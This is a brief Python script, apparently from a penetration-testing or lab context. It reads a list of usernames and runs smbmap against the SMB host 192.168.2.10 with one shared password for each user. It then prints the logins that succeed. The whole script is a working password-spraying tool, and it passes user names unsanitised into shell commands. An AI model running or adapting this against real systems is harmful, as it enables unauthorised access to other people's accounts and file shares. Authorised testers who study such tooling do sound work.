1import subprocess
2
3# read in users and strip the newlines
4with open('/tmp/users.txt') as f:
5 userlist = [line.rstrip() for line in f]
6
7# get list of commands for each user
8cmds = []
9for user in userlist:
10 cmds.append('smbmap -u {} -p p@ssw0rd -H 192.168.2.10'.format(user))
11
12# results from the commands
13results=[]
14
15# execute the commands
16for cmd in cmds:
17 results.append(subprocess.call(cmd, shell=True))
18
19# check for which worked
20for i,result in enumerate(results):
21 if result == 0:
22 print(cmds[i])
23